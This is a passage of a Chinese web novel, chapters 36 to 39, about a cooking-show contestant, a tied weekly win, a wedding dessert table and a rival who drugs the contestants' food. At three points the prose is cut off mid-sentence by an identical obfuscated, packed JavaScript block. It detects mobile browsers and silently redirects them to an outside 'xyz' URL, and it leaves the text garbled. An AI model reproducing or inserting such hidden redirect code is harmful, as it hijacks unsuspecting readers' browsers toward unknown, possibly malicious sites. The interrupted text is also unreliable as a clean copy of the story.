“单纯作为一档美食类厨艺竞赛节目，我愿意给你的发挥排到第一。”奥斯汀说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775113|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “整体白色中点缀黑色和高明度亮色；甜品大多带有葡萄或玫瑰的香气，蜡烛慕斯更是用酸奶将这两种风味完美地结合在了一起。” “哪怕是看似游离在整桌甜品之外的桂花冻豌豆黄，也能与主蛋糕上的豆沙夹心人偶和豆沙裱花相互呼应。” “但最关键的是，哪怕它真的格格不入，这份味道就已经赢了。” 豌豆黄和桂花冻在中国原本是一南一北、看似毫无交集的两种点心。 当融合在一起，却从色香味各个层面都展现出超高的适配度，仿佛从来就该这样拼合。 这是连两位委托人都征服了的甜品，他们还希望能够按照蒋醉余的配方改良伊薇特的糖霜饼干，并且将泡芙塔和桂花冻豌豆黄一起征用。 反正是他们的婚礼，也没有人会对甜品台的点心数目有固定要求吧。 全场的整体情况点评完毕，评委开始总结：“一个是非凡的设计和水准线以上的味道，一个是顶尖的味道和水准线以上的设计，两个人各有不足，也各有突出的闪光点。” “这个周冠军的位置到底应该属于谁，在我们争执了很久之后依然没有定论。” “最终我们的决定是——” “薇薇安、醉余，你们两个在本周的积分赛中并列第一，分摊原本第一、二名的二十三分积分。” 每周的一万英镑奖金由他们两个共享。 对美食节目来说，味道的含金量当然是最高的，所以他们很难做出让调味最好的蒋醉余位居第二的决定。 可薇薇安在构思创意上的优势实在太明显，这同样也是一名优秀厨师必备的品质。 讨论来讨论去，干脆和稀泥似的决定两人每人十一点五分。 “接下来宣布剩余选手的排名和分数。”奥斯汀对着记录了排名结果的本子准备念名单，就看到面前有人举起了手。 “不好意思打断一下，”蒋醉余轻声道，“我对结果有异议。” 他在全场寂静中镇定自若地开口：“我很荣幸我的豌豆黄能得到两位乐手的青睐，如果你们愿意依然可以使用这样食物。 “但是我认为，这场比赛中薇薇安应该是唯一的胜利者。” “无论是出于什么动机，薇薇安在这场比赛中展现出的对菜肴的钻研和热情都是我比不了的。 “既然我们两个的甜品差别不大，那我想这份态度值得那多出来的一分。厨艺从来不是孤悬的艺术，厨师和食客的情感同样重要。” 这位女士想用自己最喜欢最擅长的厨艺表达喜爱。 也许她的爆发式发挥和这样的想法分不开关系，但并非所有人的能力都足以支撑宣泄这样奔涌的爱意。 他从薇薇安身上，看到那些至今仍惦念喜欢着自己的粉丝的身影，听到那些飘渺却坚定的声援—— 听到梦境中齐新雨那句“我想要他有不拘类目的满园春光”。 夏洛特正色强调：“哪怕这一分有可能让未来的你淘汰出局？” “哪怕它有可能让未来的我淘汰出局，”蒋醉余点了点头，“我也不会后悔今天的选择。” 他笑起来：“我在第一场积分赛中可是斩获了十二分满分呢，‘家大业大’、有容错率的。” “想想安托万先生在盘点菜单时候、我们震撼到瞠目结舌的样子吧，这是她应得的荣誉。” 夏洛特深吸一口气，勉强保持镇静：“这个情况太特殊了，大家先休息几分钟，讨论之后给大家一个结……” “主厨，请稍等。”薇薇安突然打断。 她顾不得礼貌，急匆匆开口：“《美食之王》既然叫‘美食’，而不是‘定制之王’或者什么别的名字，那么核心就还是食物。” “我的设计说到底也只是恰巧碰到了一直以来喜欢的乐队，更像是幸运之下的投机取巧，和纯靠硬实力的醉余没法比。” 夏洛特一句“结果”憋在口中，听罢却无可奈何地笑出声。 “五年了，这还是我第一次碰见两名选手在我面前推拒周冠军的名头。” “那么请各位选手稍事等待吧，我们需要一段时间来讨论解决办法。”她说着向导演的方向走去。 摄像机停了机，蒋醉余从包里翻出自己因为担心低血糖而装上的一盒老婆饼，发到另外几人的手里。 “耽误大家晚饭时间了，”他不好意思道，“先吃一点点心垫垫肚子吧。” 一个月的相处下来大家都很熟悉了，也不和他客气，一边吃零食一边讨论：“如果这次再要投票，我可能真的会弃权，这也太难选了……” “应该不会吧，不过你们当时看没看到夏洛特主厨那个表情，我觉得她仿佛想把醉余和薇薇安的嘴捂上。” 周冠军是什么很廉价的东西吗！你们不要再推了！要打去练舞室打！ 顶着这样一言难尽的表情，导演通知他们录制恢复。 夏洛特站在众人面前，郑重道：“我们已经完全了解了两位选手的诉求，这是一个很艰难的决定，但我们最终定下的排名是——” 37. 椰浆芥末酱汁 “我们把这周的评分标准拆成了多个子项目。”夏洛特一本正经道。 总分由十二分改为二十分，其中思路设计模块八分，烹饪制作模块十二分。 既然大家对技巧和设计的重要性争执不休，那干脆由导演组、评委和嘉宾一起把它们的占比直接量化。 奥斯汀又一次打开他的笔记本：“首先来宣布模块一的得分排名。” 在这一部分，第一名可以获得八分满分，第二、三名可以获得六分，四至六名四分，而最后四人只能得到两分。 头名不出意外属于薇薇安，蒋醉余和粥川每人六分。 新来的瓦列里娅虽然在口味方面表现不佳，但创意还算出众，挤掉伊薇特获得了单项第四，拿到四分。 “模块二保留了原本的算法，从十二分的第一名向后依次递减，排名每掉一名分数也降一分。 “第一名，醉余。”奥斯汀微笑道。 在他之后则分别是伊薇特、粥川和薇薇安。 评委看着本子目光下移，皱了皱眉继续道： “至于其余的六位选手……我们对几位在这次比赛中的发挥不是很满意，决定将八分这一档轮空，整体积分向后推一位。” 换句话说，不幸沦落到最后一位的那名选手，将只能在这一项获得两分。 “至此，我们就得到了这一周的总积分排名。” 蒋醉余只扣了两分，获得十八分，稳居榜首。 薇薇安在模块二排名第四只得到九分，以十七分的总成绩获得第二，紧接着是十六分的粥川。 “不过，薇薇安，我们慷慨的金主们在得知第二次的分数结果以后，大方地表示愿意额外为了你的设计再多出五千镑的奖金。” “伊薇特，很可惜，”奥斯汀继续说，“虽然你制作的甜品从口味上发挥优秀，拿到十一分，但模块一第五名的成绩只给你带来了四分几分，十五分的总分在这场比赛中是第四名。” 打分标准拆成细则后，虽然单项排名变来变去，但最终还是这四个人获得了前四名。 夏洛特比了个噤声的手势：“我知道各位想问什么，现在不会让你们知道积分的作用哦。 “时间不早了，我想大家已经饥肠辘辘，我们还是先去吃饭吧。” 导演喊了卡，助理抱出来一个大箱子：“今天的晚饭在婚礼会场这边解决……不过这么多电子设备，都准备送给我们节目组了吗？” 蒋醉余离助理最近，理所当然排在第一个拿回了手机。 “只有醉余你记得往我这边走，”助理一边说一边按亮屏幕，“确认一下背景图，这是你的对吧。” 蒋醉余不太好意思地点点头，洛伦佐在他身后探头探脑地看。 八卦的选手“哇”了一声：“好漂亮的背影……是你男朋友吗？” 这样的问题蒋醉余已经听到过很多次，他终于牵出一点神秘的笑：“你猜。” 怪叫着的意大利人被伊薇特和薇薇安扯走了。 蒋醉余一个人解锁手机，通知栏密密麻麻都是齐新雨发来的消息——也不知道洛伦佐怎么透过这么多遮挡看出来他的身段。 【我比完了。】 蒋醉余一边跟着众人往餐厅走，一边熟练地报备完毕，才把聊天记录慢慢往上滑。 齐新雨像拿他当树洞用，絮絮叨叨地讲自己这一天的大事小情。 说他在找导师的时候碰上了当初给他们餐车做宣传的那个学生，或是回家路上又见到了那只警惕的猫。 他还说，他刚想起来自己周末要去参加婚礼。 那地名蒋醉余很熟悉，正是他目前脚下的土地。 蒋醉余犹豫一瞬，没有告诉他自己就在这。 齐新雨很快就看到了消息：【蒋先生辛苦啦，我刚在学校咖啡厅吃完饭，正在回家的路上。】 蒋醉余道：【注意安全，进屋和我说一声。】 现在英国大学普遍刚开学一个月左右，刚入校的学生大多不熟悉当地。 他们还没有在新环境交到朋友，暂时保持着独来独往，便因此被居心叵测者盯上。 甚至前几天就刚刚爆出一起案例，独身走在街上的女生被人从后打伤。 这件事情在华人圈子里闹得不小，因为最近遇袭的亚裔不止她一个，在伦敦、曼彻斯特之类的大城市都发生了好几起。 英籍华裔和纯中国人从外表上看不出来什么区别，也不是所有人都会从心理上把自己和来处完全割席。 行凶者不图钱不图色也不想杀人，只是专门盯着黄种人下手。 终于被捕后，他依然傲慢地表示自己无错。 齐新雨自然也听说了：【那好像是个华人女生吧，十八岁出头的牛剑学生，我看到使馆发文了，幸亏没有什么不可逆的伤害。】 【不过我看起来还挺不好惹的吧。】 蒋醉余：“？” 他觉得齐新雨对自己的外表威慑力完全缺乏认知。 齐新雨虽然个子不矮，但本人肤色是画室捂出来的苍白，瘦得像一杆竹。 在没有太冷的秋日里裹齐了风衣围巾帽子，背着画板时完美符合刻板印象中的文弱画家形象。 他说着庆幸那位年轻的学霸受伤不重，其实自己也是一样刚满十八岁不久的年纪，五官犹带稚气，圆圆的猫儿眼看上去颇为无辜。 何况在西方人的眼中，东亚人的长相不要更幼态。 一个体格不壮年纪不大的文弱艺术生，听起来就很有危险。 齐新雨沉默了一下：【那也没关系，反正我五岁就开始被爸妈逼着学散打了，街头打个架应该还是问题不大的。】 蒋醉余：“……” 是在下唐突了，不愧是在私人医生盛行的西方能拥有连锁医院的家庭。 说话之间，一行人终于走到了餐厅。 可能成年人的世界就是这样虚伪，他们还要和特意跑来陪同的经理讲些虚伪的好话，夸夸那些色香味俱无的菜品。 夏洛特为首的三位评委已经跑去和主厨寒暄。 餐厅里客人西装革履，冷气开得很足，桌上一人配了份冰凉的柠檬水。蒋醉余只沾沾嘴唇就放下玻璃杯，他的中国胃还是比较信奉多喝热水。 ……能有热乎饭菜也行。 前菜迟迟未来，去后厨找评委的工作人员也个个都一去不复返，他垂首叹了口气。 众人百无聊赖之中，洛伦佐突然轻呼一声：“安迪终于被扒干净了。” 没有饭吃，只能嗑点赛博瓜子。 这个故事从头到尾都相当离谱，像是三流小说家在困到眼皮打架的时候一拍脑袋想出来的剧情，“莫名其妙”的判词足以贯穿始终。 事件发展莫名其妙，人物动机也莫名其妙。 上回书说到，安迪自爆卡车称只有穷鬼才会吃没档次的中餐，前女友在选择去中餐馆约会后他就甩掉了对方。 有心人却发现，他过往推文中声称是自己前女友的高中同学，根本与他毫无关系。 有认识她的吃瓜群众在采访之后，得到了一段怒气冲冲的批判： “他明知道我已经脱单了还要追求我，和我女朋友在练武馆约了架又不去，第二天继续像没事人一样纠缠我，我上大学换了手机号才逃过。” 在中餐厅倒约会是真的，主体却不是安迪。 安迪只是从窗外经过、并自来熟地要求和她们拼桌被拒绝的…… 把她的短发华裔女朋友认成男生的…… 像嗡嗡叫的苍蝇一般讨厌的路人。 有选手叹了口气：“我看到网上发的图片，他在参赛之前就说一定会拿下正赛名额，让‘前任’知道谁的厨艺才是真正强悍。” 他为此精挑细选了以美食荒漠闻名的英国赛区，却连海选都没有进入，最终找关系换了赛区才得以进入。 至此，在安迪眼里，蒋醉余成了挤占了他名额的“又一个”可恶华裔男。 蒋醉余面对全场选手同情的眼神，摊了摊手，便看到夏洛特主厨眉头紧锁着走来。 她瞧也不瞧餐厅经理，招呼着选手们起身：“酒店餐厅临时有安排，没法接待我们了，大家找我助理领餐补自己吃饭吧。” 加布里埃尔很大声地“诶”了一句，经理露出有点困惑的表情。 奥斯汀带着副导演小跑着赶来：“餐补到这边领。”他和夏洛特对视半晌，终于女主厨无可奈何摇了摇头，叫回了自己的助理。 事态好像从这时候起乘上了脱轨的列车。 第二天、第三天，梅森和夏洛特都没有出现。奥斯汀只是闪现了几分钟，把他们领到一位陌生的厨师面前，又兀自离去。 没人敢问发生了什么，节目组每个人都是肉眼可见的憔悴和焦虑。 选手们好像一群被遗弃的企鹅幼崽，和自己刚认识一个半月的新朋友们团团挤在一起，茫然地盯着那位面容姣好却肌肉的先生。 他五官和脸型明明是很标准的柔和俊美，肤色却是西方潮人标配的古铜色美黑，身材好得可以去参加健美比赛。 他清了清嗓子，发出爽朗的声音。 “各位《美食之王》的选手大家好，希望你们中有人认识我……我是帕特里克工作室的创始人兼主厨，帕特里克·布朗。 “这次狄俄尼索斯和安托万的婚礼，很荣幸能由我的团队负责筹备餐食。” “悄悄告诉你们哦，”他很骄傲地说，“我还给时尚杂志做过封面模特呢。” 洛伦佐露出恍然大悟的表情。 他小声向众人介绍：“帕特里克工作室，被称为‘美食届的雇佣兵’。” 工作室的名字就来源于它的创始人、老板兼主厨他们面前的这位先生。他是和夏洛特等人拥有同等水平的名厨，美食奖获奖作品一只手都数不下。 但帕特里克没有选择开餐厅，也并不长期受雇于任何集体或个人，反而像个救火队员一样热衷于满世界游荡。 他确实不在意工作的内容。只要钱给得够多，哪怕是安安分分给素人做一个月少油寡盐的减肥餐，他也会欣然接单。 如果有顶级餐厅忙不过来需要副厨顶位，甚至有餐厅希望能冲击美食奖菜品，同样在他的业务范围内。 “你们别以为‘雇佣兵’这个名字是在讽刺他见钱眼开，其实这根本就是他自己起的。”洛伦佐说。 这是一位做菜风格和本人风格一样鲜明的创新菜厨师，用料大胆，乐于接受新鲜事物，从不在意外人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775114|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 评价。 “你很有见解，”帕特里克冲他点点头，“比如说今天我就是临时且无偿来给你们奥斯汀评委打工的。” 可是奥斯汀为什么要找他来呢？离婚礼只剩几天了，他难道不应该忙得团团转吗？ 帕特里克却不再解释，规规矩矩地按照节目组的时间和内容安排，尽心尽力地给他们上了两天课，从基本功到创作理论字字珠玑。 直到星期五早上，他乐呵呵地让选手们换上后厨的长袖围裙：“今天带你们见识一下真正的后厨，不要太紧张哦。” 他熟练地给众人安排工作：“你们四个去跟着艾伦副厨做糖霜饼干，另外四个和劳拉副厨一起做马卡龙。” “至于你们两位，”他又转向蒋醉余和薇薇安，眨了眨眼，“这两天我们一起和委托人修改甜品设计方案，也算是熟人了。” 薇薇安脸色一僵，不是很想回忆这个“熟识”的过程。 她昨天收到的那些改稿建议，事无巨细、内容复杂，但又无可辩驳。 害得她连午饭的时候都在思考应该怎么完成要求。 帕特里克大手一挥：“你们就跟着我准备正餐吧——先熬个鸡高汤。” 高汤汤底后续还有得加工，需要花费一定时间炖煮，所以是最先来做的。 整鸡斩块焯水，加入洋葱、西芹、胡萝卜这西式清汤三块宝，放上调味用的香料，少量番茄的加入不会使汤底变酸，却能提升鲜味。 除了分量比他们之前做过的大了许多倍以外，简单基础得所有人闭着眼都能做出来。 按照这次菜品的特殊要求，还要加入猪蹄、鸡翅和带软骨的鱼骨。 “好多胶原蛋白，”薇薇安感叹，“这锅汤炖出来怕不是直接凝结成一团了。” 这样胶质满满的汤很容易糊锅，需要随时翻动一下，但厨房从不养专职看火的闲人。桶一样的汤锅架到火上以后，蒋醉余两人又被喊到另一边。 帕特里克给这次婚礼设计的正餐里，包含了不少科技感强烈的现代技艺，例如分子料理、食物打印等。 例如真正的主菜牛排，就是选用了低温慢煮的做法。 十二点开始为宾客们上菜，主菜前面还有开胃菜和汤品；牛排一共煮八个小时，煮好后需要留出时间二次处理并摆盘，总之需要在明天凌晨三四点左右开始烹饪。 现在就要准备把腌牛排的酱汁熬出来放凉。 “其实我觉得你们今天来应该体验不到什么真正的厨房。” 帕特里克盯着蒋醉余两人处理酱汁里要用的食材，主厨先生在切墩阶段姑且还没什么事干，干脆单方面陪他们聊天。 帕克利特主厨很喜欢分享自己过去的经历。 “我们之前在后厨里有一次，临开始前在活动当天凌晨——等一下，那个蒜分两堆，一堆完全切碎，另一堆去皮拍扁就行——凌晨食材送来了才发现雇主被供货商糊弄了。” “辨认黑心供应商都是职业厨师的基本功了。你们作为《美食之王》的优秀选手，以后如果混到主厨这个位置最好还要会待人接物，万一碰上哪个大佬食客没吃高兴，主厨是要出去道歉的。” 蒋醉余用致死量的榛子色黄油炒着一大锅洋葱末和蒜末，听到这话一时有些感慨。 也许是受到自己几个月前低靡状态的影响，在梦里，他的人设是整个师门里都出名的瘸腿战士： 师父和大师姐都是享誉九州的全能人才，几个出师了的师兄师姐都没有太偏科的领域。 只有他，被师父评价为“和人打交道的项目统统零分”。 他还记得那位国宴菜大厨还在欲言又止地表示：“你还年轻，是可以多闯荡多试错的阶段。你在我店里的职位还给你留着呢，有什么不明白的随时来问来学。” 这话说得直白点，大概就是西方人评奖也要看人情看背景，你的美食奖评选注定要凉凉，回来继续跟着我学也是可以的。 如果师父知道他凭借着这点还没形成肌肉记忆的三脚猫手艺，在西方创下了这么大的名声，也不知道会是什么反应。 他当学徒一年切的豆腐丝、萝卜片、蓑衣黄瓜，只怕比穿越回来后用过的盐粒还多。 “醉余！”帕特里克喊道，“颜色够了不用再炒了，可以放苹果了。” 蒋醉余这才凝神看去，洋葱已经变得透明，蒜末也裹上金黄的外衣。 这时候把泡在盐水里的青苹果碎末捞出来扔进锅里，凉水与热油相遇发出“唰”的响声，稍微炒软后就可以加入椰浆、芥末酱和调味料熬煮。 最后再放进一开始炒好的黄油面粉团收汁，这道果香浓郁但整体味道偏清淡的芥末酱就算做好了。 等到芥末酱变凉后和牛排一起装入袋中腌制，再把粘糊糊的鸡汤加上少量吉利丁补充胶量，冷藏做成高汤冻小球，等到明天作为浓汤的调味和装饰。 这一天的工作量不要说和真正的厨房或者选手们的比赛强度节奏比了，可能还比不上他们前几天的上课强度，下午两三点就早早散了伙。 “明天星期六，我想你们都知道要发生什么了，”帕特里克宣布，“今天回去好好休息，明天记得穿正装。” “……别给你们夏洛特主厨丢脸。”他嘟囔道。 38. 甜品萤火虫灯 蒋醉余换好衣服坐上去会场的大巴，心下还有些感慨。 作为弃之可惜的失败尝试，伦敦分队已经很久没有演出，自己最近两次翻出旧衣服都和齐新雨有些关系。 他今天穿的不是之前去哥特节的那一套，而是在男团时为了年度评比颁奖盛典、找国内设计师定制的西装。 典礼结束，他们按照惯例和粉丝一一击掌感谢，齐新雨也在其中。礼堂灯光昏暗，但蒋醉余看到他眼圈染红。 第二次穿上这身西装，却是全然不同的场合。 蒋醉余陪着另外几名选手，围观装饰好的甜品台。 “我现在完全相信摆盘的力量了，”丽贝卡说，“你们原来的作品也很好看，但是确实没有今天这样惊艳。” 在背景的衬托下，人们更加能感受到甜品师在设计时候想表达的风格。 拜鲜花、蘑菇摆件、鸟巢和小鸟摆件等装饰所赐，两天前还光秃秃的白色桌子瞬间变得生机盎然，一眼就让人想起盛夏万物蓬勃的森林。 草坪婚礼的甜品台是森林花果主题，合情合理。 “泡芙塔和以前的感觉完全不一样了诶。” 瓦列里娅开始仔细观察每一件甜品。正式甜品台的设计图是安托万和两名冠军选手直接沟通，他们都还没有见过。 在版设计中，薇薇安为了节省时间直接做了原味的浅黄色泡芙。 而最终版本则精益求精，为了强化植物的概念，在泡芙皮中加入可可粉，改成了棕色的巧克力味，还在上半部分沾了一层嫩绿色的开心果白巧克力，像是爬满苔藓的圆滚滚小树桩。 蛋白糖玫瑰花也被修改成了童话风的小蘑菇，挤挤挨挨地长在泡芙之间。 “我记得原版的顶端是一张手绘的糖霜饼干照片，现在这个看起来好精细好真实哦。” 在巧克力雕成的相框里，是一张用食品级打印手段印在威化纸上的合照。 加布里埃尔兴致勃勃地围着相框左看右看：“这个光滑原木质感是怎么做出来的啊？用色素画？” “那倒不是，用色素画上去的话，仔细看木纹会比相框高一点，委托人不满意，”蒋醉余说，“是用了两种牛奶含量不同的巧克力，类似大理石纹的做法，但是勾纹路的时候要更仔细一点注意方向。” “这个我知道，昨天我们组做完马卡龙就拼命做相框来着。”塞缪尔悲愤道。 现场一共有六个甜品台，就是六个相框，每个相框由底板和四条边组成。 “就这么二十四条边，听起来不多，其实我们画了足足两百多条备选啊！眼都快挑花了！” “结果还要面对委托人来巡视时候的疑惑。我知道他没有任何恶意，可是我真的有被伤害到。” 当时安托万睁着迷茫的眼睛，认认真真发问：“我记得醉余在试做的时候只做了四条，是有什么技术上的改动吗？” 被问到的劳拉和四名选手：“……” 啊那倒不是因为这个。 有没有一种可能，我们就是很单纯地做不来他那种高难度操作。 即使只是听转述，蒋醉余也感受到了由衷的尴尬。 伊拉笑道：“委托人当时把你的制作视频录下来了，我们就是看着那个学做边框的，你真的手好稳，劳拉副厨一直在夸你。” 洛伦佐突然发现新大陆似的问道：“呀，醉余这个是你的桂花冻豌豆黄吗？” “看着不像啊。” 也不怪选手们有此一问。 这件甜品的改动比泡芙塔还要大，是蒋醉余为了适应全新的主题，重新设计了它的外形。 “要不是这上面的饼干是我昨天做的，我可能得靠排除法才能判断出来。”伊薇特也说。 桂花冻豌豆黄的新设计理念是夏夜的萤火虫灯。 豌豆黄做好后，用挖或者削或者随便什么手法搞成球形，球形模具里倒入一小层桂花白凉粉液，等到凝固后把豌豆黄球放上去，两边注入白凉粉。 等到第二层也做好了再用桂花冻灌满模具，就能做出桂花冻里悬浮着一个豌豆黄球的效果。 在最后一层桂花冻完全做成之前，插进两根巧克力。这两根巧克力彼此之间形成夹角，共同“绑”在饼干棒上，充当萤火虫灯的手提杆和悬挂灯的细线。 除了形状上的变化，作为灯当然要遵守等的基本素养，比如说在黑夜中发光。 因此，桂花冻里被加入了致死量的食用闪粉、偏光粉、夜光粉，在黑暗的环境中用手电筒一打就会发出莹莹柔光。 “这件甜品最难的不是怎么制作，而是怎么样完成委托人的要求。”蒋醉余几乎有些崩不住表情。 甲方爸爸一出，群雄谁敢应声。 “这个创意和造型都是一遍过的，改了几次都是因为委托人觉得，既然是萤火虫灯，怎么能没有亮闪闪。” 可是粉末就算再细，也是有实体的。 且不说对口感的影响，闪粉最多的一组试验品甚至无法成型。 “加得够多够闪了，他又觉得灯应该是从灯罩透亮的，但是闪粉把里面的豌豆黄‘灯芯’完全挡住了。” 蒋醉余夜半三更思考比例和替代方案的时候无数次质问自己，当初为什么不能换个灵感呢。 那一片一片日光下闪烁的，不是亮片，是他流在虚空中的泪。 甚至后来狄俄尼索斯还突发奇想，问他既然是灯那能不能真的用饼干棍提起来。 蒋醉余：“……” 您看一眼灯球的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775115|174672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体积，再看一眼巧克力线的粗细，这个可能性好像不怎么大。 他抠破脑壳，终于还是想出了新的方案。 用坚固的糖替代巧克力作成灯托，加粗糖丝吊线，增加底部托板，为小球提供一个向上的力，同时自身又不会因脆弱而断裂。 同时，未调色的糖晶莹剔透，又给小灯增添几分奇幻色彩。 “但是效果确实很好啊。”加布里埃尔用手掌指了指不时发出惊呼的宾客。 两位充满奇思妙想的委托人也对这道甜品相当满意，特意请摆台设计师在装豌豆黄的盘子旁边放了一张说明立牌，写上它的思路介绍和创造人。 一直沉迷聊天的几人这才注意到周围来宾的讨论声。 “这是《美食之王》那位醉余选手的作品啊，没想到他还有这么梦幻的风格。” “我只扫过一眼菊花豆腐的图，竟然是同一位厨师做出来的吗？” 人群中，蒋醉余敏感地听到熟悉的名字。 “泽菲尔，好久不见。”有人说。 他忽然扭头望向说话者，就看到齐新雨一路同人打招呼，有和他聊起画作的，也有问候他父母的。 蒋醉余隔着五颜六色的脑袋看他，齐新雨如有所感地抬起头，蓦地睁大了眼睛。 他难得穿了正装，看起来终于从不谙世事艺术家变成了符合实际身份的矜贵小少爷—— 唇角一抿，兴师问罪：“蒋先生怎么还对我保密呀。” 蒋醉余还没顾上高兴或者给他一个惊喜，张了张口，苍白地问道：“你怎么现在就到了？” 婚礼不是还有好久才开始呢吗？ “在家闲着没事干，干脆就提前出发了，”齐新雨摊了摊手，“说起来，我有没有这个荣幸邀请蒋先生亲自为我介绍一下你的甜点，我刚刚来的路上可是听到了好几个人在夸你。” “乐意效劳，”蒋醉余一本正经，“虽然我觉得可能立牌比我讲得好。” 他和其他选手告了声罪，陪小房东一起向旁边被团团围住的甜品台走去。 客人们很自觉地为菜品的创作者让出一条路，望向他的眼神却透着好奇和打探。 蒋醉余不明所以：“一般派对里在意食物的人应该不多吧，怎么今天存在感这么高。” 齐新雨有些担忧地看了他一眼：“闹出这么大的事情，节目组还在对你们保密吗？” 他定了定神，努力把语气提得轻快了一点：“好消息是，提前预祝蒋先生又要爆了。” 来宾中的一位天后级歌星当众表达了她对豌豆黄的狂热喜爱，甚至借了休息室要和她心爱的萤火虫灯合照，吸引了众人注意力。 但坏消息是： 安迪的事情闹得好像有点太大了。 39. 整点小情侣吃 事情已经发酵了好几天，热度甚至已经传回国内的社交媒体。 “我转队那天都没上过这么高位的热搜。”蒋醉余啧啧称奇。 齐新雨小小瞪了他一眼：“哪有这么说自己的。”他从甜品台上装了两块豌豆黄，扯着他往角落的休息长椅走。 一直等到坐定了，蒋醉余才终于把卡顿的手机清理得差不多，开始翻看近几天的消息。 “简而言之，”齐新雨一边给豌豆黄摆拍一边说，“安迪被拘留了。” 事件要追溯到夏洛特评委匆匆领着他们离开餐厅的那一天。 她在去后厨打招呼的时候，撞见了鬼鬼祟祟往选手饭菜里撒东西的安迪，当下就报了警： 不知道该庆幸还是遗憾，他大费周章想下的药，只是点相当强效的泻药。 齐新雨凑到他耳边，气息温热地落在脸颊，很小声地说：“剩下的消息都还没外传，是因为我家是投资商才知道的。” 现场人声鼎沸，音乐太热烈，他们两个离得好近。蒋醉余甚至不知道是谁的头发扫过自己的耳廓，蝴蝶轻点似的酥痒。 他下意识想要磨磨耳朵，又想起尚还在旁的嘴唇，一张一合，只要抬手就可以意外般抚过。 他会突然安静，还是受惊的猫儿一样轻巧地跳开？蒋醉垂下眼神，口中熟练搭话：“你不要生气，我不在意安迪的。” 齐新雨对此毫无察觉：“不在意也好，但是他真的很过分诶！” 一群厨师若是在食品安全上着了道，这个比赛简直可以称为笑话了。 暴怒的夏洛特压着节目组一通彻查，一条利益链水落石出。 安迪家境不错，大费周章搭上了在餐饮界大名鼎鼎的布朗家，海选帮他走后门的尼尔森就是他家的一份子。 而被选手们一致认为水平欠佳的这家餐厅……为它保驾护航拿下美食奖的，也是布朗家。虽然他们这次是真情实感以为安迪想在后厨实习、顺便和节目组求情的。 “不管布朗家到底参与有多深，你有没有觉得这个姓氏很耳熟？”齐新雨叹了口气。 他们年轻的、看蒋醉余不太顺眼的梅森·布朗评委，试图把这些给钱就干了的烂事推到他“离家出走”的叔叔帕特里克·布朗头上，被当面反驳了回来。 帕特里克已经很多年没回家了，根本没想到还能收获这么一份甩锅大礼包。 在他的帮助下，夏洛特他们和被拘留的安迪充分交换了意见，已经取得了关键证据，证明早在预赛最后一轮时，安迪和梅森就取得了联系。 得知梅森直接放弃自己的安迪，更是直接委托朋友爆出了梅森指使自己针对蒋醉余的黑料： “要不然你们猜他一个名扬四海的年轻主厨为什么要帮我。” 登上国内热搜的就是这一部分事件——梅森的小号堪称五毒俱全，他不平等地歧视所有肤色、性别和性向，尤为厌恶华人，发言令人不忍卒读。 “蒋先生，你也吃呀。”齐新雨刚把盘子往蒋醉余的方向递了递，又突然缩回手。 他顺着蒋醉余的眼神看到自己手中唯一一把叉子，顷刻间面红耳赤，急得敬语都冒了出来：“我不是这个意思……我给您再拿一把去……” 蒋醉余其实在试菜谱的时候已经吃得不愿再吃，看着盘子里只剩一颗的“萤火虫灯”，却鬼使神差地从他手里接过叉子。 齐新雨捏着餐具，睁圆了眼睛。 蒋醉余晃晃手，趁着他放松的时候拿走叉子。 饼干灯棍外表光滑，酥脆微甜，透明硬糖灯绳就是普普通通的甜味，但咔吱咔吱地在嘴里嚼碎还是会让人有种莫名的快乐。 骨传导将清脆的咀嚼声在脑中放大，掩过沉重蓬勃的心跳。 叉子向下，可以毫无障碍地切下甜品本体。 豌豆黄细腻甘甜，桂花冻软糯香甜，精细调控过比例的粉末没有对味道和口感产生太多影响。 “竟然有种暴殄天物的感觉。”齐新雨托着下巴看着这个残缺的“灯笼”。 “这有什么天不天物的，做出来不就是给人吃的吗，”蒋醉余笑了笑，开始报菜名。 “你要是想吃我们回家再做，里面换成豆沙、芋泥、慕斯、奶酪球什么的，外层也可以用果蓉之类食材的替代糖桂花，想要什么口味就做什么口味。” 齐新雨摆摆手：“那不一样，而且谁说甜品台是用来吃的了。” 以他参加这么多次聚会宴会的经验来看，一般的人都不会对甜品台里的食物产生任何味道方面的期待。 大家好像都习惯性地默认了口味与极致的美貌不可兼得，评价一座甜品台的方式不是它好不好吃，而是它长得有多好看。 “所以天后一看就爱上了这道桂花冻豌豆黄萤火虫灯，尝了味道以后跟安托万夸了你好半天呢。 “就算节目出了什么问题，蒋先生有厨艺在肯定也能过得很好的。”齐新雨轻轻道。 好像是什么郑重而坚定的预言。 他挥挥手，向着自己的座位走去：“那我先走啦。” 